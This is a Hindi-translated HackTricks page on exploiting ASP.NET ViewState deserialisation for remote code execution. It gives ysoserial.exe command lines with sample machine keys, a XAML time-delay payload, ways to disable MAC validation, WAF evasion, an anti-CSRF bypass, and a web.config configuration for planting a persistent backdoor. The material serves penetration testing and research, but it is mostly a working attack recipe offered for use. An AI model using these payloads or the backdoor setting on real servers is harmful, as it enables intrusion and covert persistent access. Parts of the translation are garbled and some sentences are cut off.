mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

Translator workflow 75e8745ba3 Translated to Hindi

2023-11-06 08:38:02 +00:00

37 KiB

Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
खोजें The PEASS Family, हमारा विशेष संग्रह NFTs
प्राप्त करें आधिकारिक PEASS & HackTricks swag
शामिल हों 💬 Discord समूह या टेलीग्राम समूह या मुझे Twitter पर फ़ॉलो करें 🐦@carlospolopm.
अपने हैकिंग ट्रिक्स साझा करें, hacktricks रेपो और hacktricks-cloud रेपो में पीआर जमा करके।

इस पोस्ट की सामग्री निम्नलिखित स्रोत से निकाली गई है https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

परिचय

ASP.NET वेब ऐप्लिकेशन ViewState का उपयोग एक पेज स्थिति बनाए रखने और वेब फ़ॉर्म में डेटा को स्थायी रूप से संचित करने के लिए करते हैं।

यह सामान्यतः संभव होता है कि एक वेब सर्वर पर कोड चलाया जा सके जहां एक मान्य ViewState जाली बनाई जा सकती है। यह किया जा सकता है जब MAC सत्यापन सुविधा को अक्षम कर दिया गया हो या जानते हों:

.NET Framework संस्करण 4.5 से पहले के लिए सत्यापन कुंजी और इसका एल्गोरिदम
.NET Framework संस्करण 4.5 या उससे ऊपर में सत्यापन कुंजी, सत्यापन एल्गोरिदम, डिक्रिप्शन कुंजी और डिक्रिप्शन एल्गोरिदम को जानते हों

हेरफेर आक्रमणों को रोकने के लिए, .NET Framework वह ViewState को साइन और एन्क्रिप्ट कर सकता है जो LosFormatter कक्षा का उपयोग करके संकलित किया गया है। फिर यह संकेत सत्यापन मेकेनिज़्म का उपयोग करके हस्ताक्षर की सत्यापन करता है। ObjectStateFormatter कक्षा साइन करने, एन्क्रिप्ट करने और सत्यापन करने के कार्य करती है। साइन और/या एन्क्रिप्शन करने के लिए आवश्यक कुंजी को संग्रहीत किया जा सकता है web.config (एप्लिकेशन स्तर) या machine.config (मशीन स्तर) फ़ाइलों के machineKey खंड में। यह सामान्यतः उस स्थिति में होता है जब एक ही एप्लिकेशन को सेवा करने के लिए बहुत सारे वेब सर्वर उपयोग किए जाते हैं, जो अक्सर एक वेब फ़ार्म या क्लस्टर में एक लोड बैलेंसर के पीछे होते हैं। निम्नलिखित में एक ASP.NET एप्लिकेशन के एक कॉन्फ़िगरेशन फ़ाइल में machineKey खंड का प्रारूप दिखाया गया है जो .NET Framework संस्करण 2.0 या उससे ऊपर का उपयोग करता है:

<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES"  />

ध्यान देना चाहिए कि जब कॉन्फ़िगरेशन फ़ाइल में machineKey धारा परिभाषित नहीं होती है या जब validationKey और decryptionKey विशेषताएँ AutoGenerate पर सेट की जाती हैं, तो एप्लिकेशन एक क्रिप्टोग्राफिकली यादृच्छिक गुप्त से आधारित आवश्यक मानों को डाइनामिक रूप से उत्पन्न करता है। एल्गोरिदम भी स्वचालित रूप से चुने जा सकते हैं। वर्तमान में .NET Framework के नवीनतम संस्करण में, डिफ़ॉल्ट मान्यता एल्गोरिदम HMACSHA256 है और डिफ़ॉल्ट डिक्रिप्शन एल्गोरिदम AES है। अधिक जानकारी के लिए [13] देखें।

अक्षम ViewState MAC सत्यापन के साथ RCE

पहले, enableViewStateMac संपत्ति को False पर सेट करके MAC सत्यापन को अक्षम करना संभव था। माइक्रोसॉफ्ट ने सितंबर 2014 में एक पैच जारी किया [3] जिससे .NET Framework के सभी संस्करणों में इस संपत्ति को अनदेखा करके MAC सत्यापन को प्रभावी बनाया गया है। हालांकि, हम में से कुछ लोग यह मान सकते हैं कि "ViewState MAC अब और अक्षम नहीं किया जा सकता है" [4], लेकिन अब भी MAC सत्यापन सुविधा को अक्षम करना संभव है जब AspNetEnforceViewStateMac रजिस्ट्री कुंजी को शून्य पर सेट किया जाता है:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

वैकल्पिक रूप से, निम्नलिखित खतरनाक सेटिंग को एप्लिकेशन स्तर के web.config फ़ाइल में जोड़ने से MAC सत्यापन भी अक्षम हो सकता है:

<configuration>
…
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>

{% hint style="danger" %} जब ViewState MAC सत्यापन अक्षम हो जाता है, तो YSoSerial.Net परियोजना का उपयोग करके LosFormatter payloads को ViewState के रूप में उत्पन्न किया जा सकता है ताकि सर्वर पर अनियंत्रित कोड चलाया जा सके। {% endhint %}

.NET Framework संस्करण 4.5 से पहले, __VIEWSTATE पैरामीटर एन्क्रिप्ट किया जा सकता था जबकि MAC सत्यापन सुविधा अक्षम थी। यह ध्यान देने योग्य है कि अधिकांश स्कैनर **इस दुर्बलता की पहचान करने के लिए एक अनएन्क्रिप्टेड ViewState पैरामीटर भेजने का प्रयास नहीं करते हैं। इसलिए, __VIEWSTATE पैरामीटर को एन्क्रिप्ट किया जाता है तो MAC सत्यापन अक्षम है या नहीं यह जांचने के लिए मैन्युअल टेस्टिंग की आवश्यकता होती है। इसे __VIEWSTATE पैरामीटर में एक छोटी सी यादृच्छिक base64 स्ट्रिंग भेजकर जांचा जा सकता है। निम्नलिखित URL में एक उदाहरण दिखाया गया है:

https://victim.com/path/page.aspx?__VIEWSTATE=AAAA

यदि लक्षित पृष्ठ त्रुटि के साथ प्रतिक्रिया करता है, तो MAC सत्यापन सुविधा निष्क्रिय की गई है अन्यथा यह MAC सत्यापन त्रुटि संदेश को दबा देता होगा।
हालांकि, ऐसे स्थितियों में जहां आप त्रुटि संदेश नहीं देख सकते हैं, यह तरीका काम नहीं करेगा।

स्वचालित स्कैनर्स को सर्वर-साइड पर एक छोटी संविलम्ब का कारण करने वाले पेलोड का उपयोग करना चाहिए। इसे निम्नलिखित ASP.NET कोड को निष्पादित करके प्राप्त किया जा सकता है, जो एक 10 सेकंड की देरी बनाने के लिए उदाहरण के रूप में कार्य करता है:

System.Threading.Thread.Sleep(10000);

string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

RCE ViewState MAC Validation के साथ

पुराने संस्करणों (4.5 से पहले) में, .NET Framework TemplateSourceDirectory property [15] का उपयोग करता है जब एक serialized object को साइन करता है. हालांकि, 4.5 संस्करण से, यह Purpose strings का उपयोग करके हैश बनाने के लिए करता है. इन दोनों मेकेनिज़म्स अनुप्रयोग निर्देशिका की जड़ में लक्ष्य पृष्ठ का उपयोग करते हैं. ये पैरामीटर URL से निकाले जा सकते हैं.

ऐसे अनुप्रयोग जो पुराने framework का उपयोग करते हैं और ViewState एन्क्रिप्शन को लागू करते हैं, वे एन्क्रिप्शन के बिना साइन किए गए ViewState को भी स्वीकार कर सकते हैं. इसका मतलब है कि एक वेबसाइट को उत्पन्न करने के लिए सत्यापन कुंजी और उसकी एल्गोरिदम को जानना पर्याप्त होता है. लगता है ViewState डिफ़ॉल्ट रूप से एन्क्रिप्टेड होता है 4.5 संस्करण के बाद से जबकि viewStateEncryptionMode property को Never सेट किया गया हो. इसका मतलब है कि नवीनतम .NET Framework संस्करणों में डिक्रिप्शन कुंजी और उसकी एल्गोरिदम भी आवश्यक होते हैं एक payload बनाने के लिए.

ASP.NET ViewState में ViewStateUserKey property होती है [16] जिसका उपयोग cross-site request forgery (CSRF) हमलों [4] के जोखिम को कम करने के लिए किया जा सकता है. ViewStateUserKey property की मान (जब यह null नहीं होती है**) ViewState साइनिंग** प्रक्रिया के दौरान भी उपयोग की जाती है. यह पैरामीटर की मान न जानने से हमारे हमले को रोक सकती है, इसकी मान अक्सर कुकीज़ या एक छिपी हुई इनपुट पैरामीटर में पाई जा सकती है ([17] में एक लागू उदाहरण दिखाता है).

ViewState YSoSerial.Net plugins

YSoSerial.Net मास्टर और YSoSerial.Netv2 में आपको एक प्लगइन मिलेगा (यह और यह) जो इस तकनीक का उपयोग करने के लिए जानकारी जब सभी जानकारी उपलब्ध होती है.

.NET Framework >= 4.5 के लिए:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

.NET Framework <= 4.0 के लिए (पुराना):

यहाँ डिक्रिप्शन कुंजी और उसका एल्गोरिदम आवश्यक नहीं हैं:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug

विभिन्न गैजेट का उपयोग करने के अलावा, __VIEWSTATEGENERATOR पैरामीटर का उपयोग करके पथ प्रदान करने की बजाय यह संभव है:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

यह डिफ़ॉल्ट रूप से ActivitySurrogateSelector गैजेट का उपयोग करता है जो YSoSerial.Net प्रोजेक्ट में ExploitClass.cs कक्षा को कंपाइल करने की आवश्यकता होती है। ViewState payload को भी एन्क्रिप्ट किया जा सकता है WAFs से बचने के लिए जब decryptionKey मान्यता वाला होता है:

.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

{% hint style="info" %} नोट: YSoSerial.Net में उपयोग किए गए गैजेट्स की प्रकृति के कारण, लक्षित ASP.NET पेज हमेशा त्रुटि के साथ प्रतिक्रिया करता है, यहां तक कि जब सर्वर-साइड पर सफलतापूर्वक एक शोषण किया जाता है। {% endhint %}

एप्लिकेशन पथ

एक मान्य ViewState बनाने के लिए एप्लिकेशन पथ की जड़ खोजना महत्वपूर्ण है, जब तक:

एप्लिकेशन .NET Framework संस्करण 4.0 या नीचे का उपयोग करता है; और
__VIEWSTATEGENERATOR पैरामीटर ज्ञात होता है।

निम्नलिखित स्क्रीनशॉट में IIS में पथ पेड़ी दिखाई देती है:

यदि आप IIS में वर्चुअल डायरेक्टरी और एप्लिकेशन शब्दों के बारे में अवगत नहीं हैं, तो आप [20] देख सकते हैं।

उपरोक्त URL के लिए एक ViewState उत्पन्न करने के लिए, --path और --apppath तर्क निम्नलिखित होने चाहिए:

--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/

यदि हमें पता नहीं होता कि "app2" एक एप्लिकेशन नाम है, तो हम प्रयोग और त्रुटि का उपयोग करके URL में सभी निर्देशिका नामों की परीक्षा कर सकते हैं एक-एक करके, जब तक हम एक ViewState नहीं मिलता जो सर्वर पर कोड को निष्पादित कर सकता है (शायद DNS अनुरोध प्राप्त करके या देरी का कारण बनाकर)।

जेनरेटर

इस मामले में, --जेनरेटर तर्क का उपयोग किया जा सकता है। --isdebug तर्क का उपयोग किया जा सकता है ताकि जब --पथ और --apppath तर्क प्रदान किए गए हों, तो प्लगइन भी वही गणक __VIEWSTATEGENERATOR पैरामीटर की गणना करता है या नहीं।

पुराने संस्करणों का शोषण

इस ब्लॉग पोस्ट को लिखने के समय .NET Framework v1.1 को शोषित करने के लिए कोई गैजेट पहचाना नहीं गया था।

.NET Framework v4.0 या उससे नीचे का उपयोग करने वाले एप्लिकेशनों को शोषित करने के लिए, YSoSerial.Net v2.0 शाखा [21] का उपयोग किया जा सकता है (यह पहले से ही एक अन्य शोध [22] के हिस्से के रूप में विकसित किया गया था)। हालांकि, इस परियोजना में केवल कुछ संख्या के गैजेट्स का समर्थन होता है, और इसके लिए लक्ष्य बॉक्स में .NET Framework 3.5 या उससे ऊपर स्थापित होना आवश्यक होता है।

अन्य उपकरण

ऐसा लगता है कि Immunity Canvas, जब ज्ञात होते हैं तो वे वैधीकरण और एन्क्रिप्शन कुंजी का उपयोग करके ViewState पैरामीटर बना सकता है [29]। निम्नलिखित उपकरणों को भी यही समय पर जारी किया गया था जब मैं अपना काम प्रकाशित करने के बारे में सोच रहा था, जो काफी आश्चर्यजनक था:

https://github.com/0xACB/viewgen (Python में लिखा गया)
https://github.com/Illuminopi/RCEvil.NET (.NET में लिखा गया)

मुझे लगता है कि ये उपकरण वर्तमान में .NET के विभिन्न संस्करणों में अंतर नहीं करते हैं और पुरानी गुप्तिलिपि को लक्ष्य बनाते हैं। इसके अलावा, ये ViewStateUserKey पैरामीटर का उपयोग नहीं करते हैं जो CSRF हमलों को रोकने के लिए उपयोग में हो सकता है।

अतिरिक्त सुझाव

GET अनुरोधों का उपयोग

यह संभव है कि आप GET अनुरोध के माध्यम से URL में __VIEWSTATE पैरामीटर भेजें। यहां केवल URL लंबाई की सीमा है जो इसका उपयोग कर सकती है।

.NET Framework संस्करण 4.5 से पहले एन्क्रिप्शन

पहले ही कहा गया है कि .NET Framework 4.0 और नीचे के संस्करणों (v2.0 से v4.0 पर परीक्षण किया गया) को शोषित करते समय __VIEWSTATE पैरामीटर को एन्क्रिप्ट करने की आवश्यकता नहीं होती है, यहां तक कि जब ViewStateEncryptionMode संपत्ति को Always सेट किया गया हो। ASP.NET यह निर्धारित करता है कि क्या ViewState एन्क्रिप्ट किया गया है या नहीं, अनुरोध में __VIEWSTATEENCRYPTED पैरामीटर को खोजकर (इसके पास कोई मान होने की आवश्यकता नहीं होती है)। इसलिए, एक अनएन्क्रिप्टेड ViewStated को भेजने के लिए __VIEWSTATEENCRYPTED पैरामीटर को अनुरोध से हटा कर भेजा जा सकता है।

यह भी इसका मतलब है कि जब प्रमाणीकरण कुंजी या इसके एल्गोरिदम को बदलने के बावजूद जब जासूसी कुंजी और इसके एल्गोरिदम को चोरी कर लिया गया हो, तो हमलों को रोकने के लिए नहीं रोक सकता है।

WAFs को छलने के लिए __VIEWSTATE पैरामीटर को एन्क्रिप्ट किया जा सकता है।

एंटी-CSRF (एंटी-XSRF) मेकेनिज़्म को छलना

जब एक अवैध __VIEWSTATE पैरामीटर का उपयोग किया जाता है, तो एक ASP.NET पेज त्रुटि प्रदर्शित करता है। हालांकि, पृष्ठ अपने इनपुट प्राप्त कर सकता है जब कोड के लिए सीधे Request.Form का उपयोग किया जाता है, उदाहरण के लिए Request.Form["txtMyInput"] का उपयोग करके txtMyInput.Text के बजाय। **CSRF हमला उस अनुरोध से __VIEWSTATE पैरामीटर को हटाकर या अवैध मान के साथ __PREVIOUSPAGE पैरामीटर ज

<asp:TextBox runat="server" ID="myinput" />

जब __EVENTVALIDATION पैरामीटर को उपयोग करके अभिक्षम किया जाता है, तो अनुरोध में __VIEWSTATE पैरामीटर की मान खाली हो सकती है, लेकिन यह मौजूद होना चाहिए।

.NET Framework 4.5 और उससे ऊपर का उपयोग करने के लिए Purpose स्ट्रिंग का उपयोग करता है जो एक मान्य हस्ताक्षर बनाने के लिए उपयोग किया जाता है, जो पैरामीटर के आधार पर अलग होता है। निम्नलिखित तालिका में .NET Framework में परिभाषित Purpose स्ट्रिंग दिखाई गई है:

इनपुट पैरामीटर	Purpose स्ट्रिंग
“__VIEWSTATE”	WebForms.HiddenFieldPageStatePersister.ClientState
“__EVENTVALIDATION”	WebForms.ClientScriptManager.EventValidation
P2 in P1\|P2 in “__dv” + ClientID + “__hidden”	WebForms.DetailsView.KeyTable
P4 in P1\|P2\|P3\|P4 in “__CALLBACKPARAM”	WebForms.DetailsView.KeyTable
P3 in P1\|P2\|P3\|P4 in “__gv” + ClientID + “__hidden”	WebForms.GridView.SortExpression
P4 in P1\|P2\|P3\|P4 in “__gv” + ClientID + “__hidden”	WebForms.GridView.DataKeys

ऊपर दी गई तालिका में सभी इनपुट पैरामीटर दिखाए जा सकते हैं जिन पर निशाना बनाया जा सकता है।

`__PREVIOUSPAGE` पैरामीटर का सावधान रहें

जब अनुरोध में __PREVIOUSPAGE पैरामीटर मौजूद होता है और उसमें अमान्य डेटा होता है, तो एप्लिकेशन __VIEWSTATE पैरामीटर को डिसीरियलाइज़ नहीं करता है। __CALLBACKID पैरामीटर प्रदान करने से इस व्यवहार को रोका जा सकता है।

त्रुटि की विश्वसनीयता

पहले से बताया गया है कि कभी-कभी हम यह जांचने के लिए त्रुटियों का उपयोग करते हैं कि क्या एक उत्पन्न ViewState मान्य है। ASP.NET एक अमान्य __VIEWSTATEGENERATOR पैरामीटर का उपयोग करने पर डिफ़ॉल्ट रूप से MAC सत्यापन त्रुटि नहीं दिखाता है। यह व्यवहार बदल जाता है जब ViewStateUserKey संपत्ति का उपयोग किया जाता है, क्योंकि ASP.NET अब MAC सत्यापन त्रुटियों को दबाने की कोशिश नहीं करेगा।

इसके अलावा, ASP.NET वेब एप्लिकेशन ViewStateUserKey संपत्ति का उपयोग करते हुए भी निम्नलिखित सेटिंग के साथ MAC सत्यापन त्रुटियों को नजरअंदाज कर सकती है:

<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>

Web.config को एक पिछवाड़ा के रूप में उपयोग करना

यदि हमलावर एक अनुप्रयोग की मूल रूट में web.config को बदल सकते हैं, तो वे सर्वर पर कोड को आसानी से चला सकते हैं। हालांकि, एक हमलावर के लिए अनुप्रयोग पर एक छिपी हुई पिछवाड़ा सम्मिलित करना एक अच्छा विकल्प हो सकता है। इसे MAC सत्यापन को अक्षम करके और viewStateEncryptionMode संपत्ति को Always सेट करके किया जा सकता है। इसका मतलब है कि सभी ASP.NET पेज जो ViewStateEncryptionMode संपत्ति को Auto या Never सेट नहीं करते हैं, हमेशा एन्क्रिप्टेड ViewState पैरामीटर का उपयोग करते हैं। हालांकि, ViewState MAC सत्यापन सुविधा का उपयोग न करने के कारण, वे अब अविश्वसनीय डेटा के द्वारा दूरस्थ कोड निष्पादन के प्रति संवेदनशील हो गए हैं। निम्नलिखित एक उदाहरण दिखाता है:

<configuration>
…
<system.web>
…
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>

एक स्वतंत्र वेबसाइट के लिए एक औपचारिक कुंजी और एल्गोरिदम के साथ machineKey खंड सेट करना एक और विकल्प हो सकता है जिससे अन्य हमलावरों को रोका जा सके!

यह ध्यान देना चाहिए कि EnableViewState संपत्ति को False पर सेट करने से यह हमला रोका नहीं जा सकता है क्योंकि ASP.NET द्वारा अभी भी ViewState को पार्स किया जाएगा।